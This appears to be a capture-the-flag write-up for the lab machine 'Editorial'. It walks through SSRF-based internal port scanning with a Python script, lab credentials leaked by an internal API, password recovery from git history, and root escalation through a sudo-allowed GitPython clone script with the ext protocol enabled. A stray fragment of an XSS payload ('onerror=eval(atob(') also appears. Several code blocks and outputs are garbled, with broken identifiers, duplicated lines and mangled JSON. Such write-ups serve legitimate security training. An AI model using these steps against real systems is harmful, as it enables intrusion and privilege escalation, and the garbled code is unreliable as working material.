

## Information Gathering

### 1) Found open ports

### 2) Checked the Website



3) There is a upload functionality



4) Our file is being uploaded into static with arbitrary name




5) Checked for more pages

```
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u 'http://editorial.htb/FUZZ' -ic -t 200
     v2.1.0-dev
:: Method
                : http://editorial.htb/FUZZ
:: URL
:: Wordlist
                : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
   Follow redirects : false
   Calibration : false
                : 10
   Timeout
:: Threads
                : 200
                : Response status: 200-299,301,302,307,401,403,405,500
:: Matcher
```

<img onerror="eval(atob('

# **Vulnerability Assessment**

1) Found ssrf vulnerability



2) Enumerated internal applications

https://nullsec.us/top-1-000-tcp-and-udp-ports-nmap-default/

```
import requests

url = "http://editorial.htb/upload-cover"
top_ports = [...]
for port in top_ports:
    print(f"\r\033[2KTrying: {port}", end='')
    multipart_form_data = {
        "bookurl": (None, f"http://127.0.0.1:{port}/"),
```

```
"bookfile": ("", "", "application/octet-stream")
}

response = requests.post(url, files=multipart_form_data)
if response.status_code == 200:
    if 'unsplash' not in response.text.strip():
        file_url = "http://editorial.htb/" + response.text.strip()
        file_response = requests.get(file_url)
        print(f"{port} Fetched file content:", file_response.text)
```

### 3) Found open internal port 5000

```
(vigneswar@VigneswarPC)-[~]

$ proxychains -q python3 exploit.py

Fetched file content: {"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods s":"GET"}},{"rectrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"rectrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},"methods":"GET"}},"usersion":["changelog":["description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},

["description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},

["description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]
```

### 4) Found exposed credentials

```
exploitry X

capolitry 7...

import sequents

unl = "http://editorial.htb/upload-cover"

multipart_form_data = {

"bookull: (knose, *Phttp://127.0.0.1:5000/api/latest/metadata/messages/authors"),

bookile": ("", "", "application/octet-stream")

presponse.status_code = 200:

if response.status_code = 200:

file_unl = "http://editorial.htb/" + response.text.strip();

file_unl = "http://editorial.htb/" + response.text.strip()

file_unl = "http://editorial.htb/" + response.text.strip()
```

# **Exploitation**

1) Got ssh dev:dev080217\_devAPI!@

```
(vigneswar@ VigneswarPC)-[~]
$ ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.129.168.7)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Permission denied, please try again. dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
 * Documentation:
                   https://help.ubuntu.com
                   https://landscape.canonical.com
 * Management:
 * Support:
                   https://ubuntu.com/pro
 System information as of Sun Jun 16 07:44:57 AM UTC 2024
  System load:
                          0.0
                          61.2% of 6.35GB
  Usage of /:
  Memory usage:
                          13%
  Swap usage:
                          0%
  Processes:
                          226
  Users logged in:
                          0
  IPv4 address for eth0: 10.129.168.7
  IPv6 address for eth0: dead:beef::250:56ff:fe94:9e1c
Expanded Security Maintenance for Applications is not enabled.
O updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$
```

## **Privilege Escalation**

1) Found a .git, checked previous commits

```
dev@editorial:~/apps$ git log
                              74635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
        Sun Apr 30 21:04:21 2023 -0500
    fix: bugfix in api port endpoint
   mit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
        Sun Apr 30 21:01:11 2023 -0500
Date:
    change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
        Sun Apr 30 20:55:08 2023 -0500
Date:
    change(api): downgrading prod to dev
    * To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
        Sun Apr 30 20:51:10 2023 -0500
Date:
    feat: create api to editorial info
    * It (will) contains internal info about the editorial, this enable
       faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
        Sun Apr 30 20:48:43 2023 -0500
Date:
    feat: create editorial app
    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.
dev@editorial:~/apps$ git checkout 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
```

### 2) Found a cronjob running

```
2024/06/16 07:52:36 CMD: UID=0 PID=2 | /sbin/init | 2024/06/16 07:53:01 CMD: UID=0 PID=1 | /sbin/init | 2024/06/16 07:53:01 CMD: UID=0 PID=18969 | /usr/sbin/CRON -f -P | 2024/06/16 07:53:01 CMD: UID=0 PID=18970 | /usr/sbin/CRON -f -P | 2024/06/16 07:53:01 CMD: UID=33 PID=18973 | rm -f /opt/apps/app_editorial/static/uploads/. | 2024/06/16 07:53:01 CMD: UID=33 PID=18972 | find /opt/apps/app_editorial/static/uploads/. -exec rm -f {}; 2024/06/16 07:53:01 CMD: UID=33 PID=18971 | /bin/bash /opt/internal_apps/environment_scripts/clear.sh | PID=18974 | rm -f /opt/apps/app_editorial/static/uploads/./fb4ca071-c968-46a8-9b6b-1e20568ea142
```

### 3) Found credentials for prod user

### prod:080217\_Producti0n\_2023!@

### 4) Found sudo permissions

```
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:~$ |
```

```
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
prod@editorial:~$ |
```

### 5) Created a malicious repo

```
prod@editorial:~$ git init --bare privesc.git
hint: Using 'master' as the name for the initial branch. This default branch name hint: is subject to change. To configure the initial branch name to use in all hint: of your new repositories, which will suppress this warning, call:
hint:
hint:
         git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:
         git branch -m <name
Initialized empty Git repository in /home/prod/privesc.git/
prod@editorial:~$ git clone prod@editorial:/home/prod/privesc.git
Cloning into 'privesc'...
The authenticity of host 'editorial (127.0.1.1)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial' (ED25519) to the list of known hosts.
prod@editorial's password:
warning: You appear to have cloned an empty repository.
prod@editorial:~$ cd privesc
prod@editorial:~/privesc$ vim exp.py
prod@editorial:~/privesc$ chmod +xs exp.py
prod@editorial:~/privesc$
```

```
prod@editorial:~/privesc$ git config --global user.email "prod@editorial.htb"
prod@editorial:~/privesc$ git config --global user.name "prod"
prod@editorial:~/privesc$ git commit -m "Initial commit"
On branch master
Initial commit
Untracked files:
  (use "git add <file>..." to include in what will be committed)
nothing added to commit but untracked files present (use "git add" to track)
prod@editorial:~/privesc$ git add exp.py
prod@editorial:~/privesc$ git commit -m "Initial commit"
[master (root-commit) 5a93bb2] Initial commit
 1 file changed, 2 insertions(+)
 create mode 100755 exp.py
prod@editorial:~/privesc$ git push
prod@editorial's password:
Permission denied, please try again.
prod@editorial's password:
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 247 bytes | 247.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
To editorial:/home/prod/privesc.git
* [new branch]
                     master -> master
```

```
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py prod@127.0.0.1:/home/prod/privesc.git/
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
prod@127.0.0.1's password:
prod@editorial:~$ |
```

#### 7) Found a RCE

https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858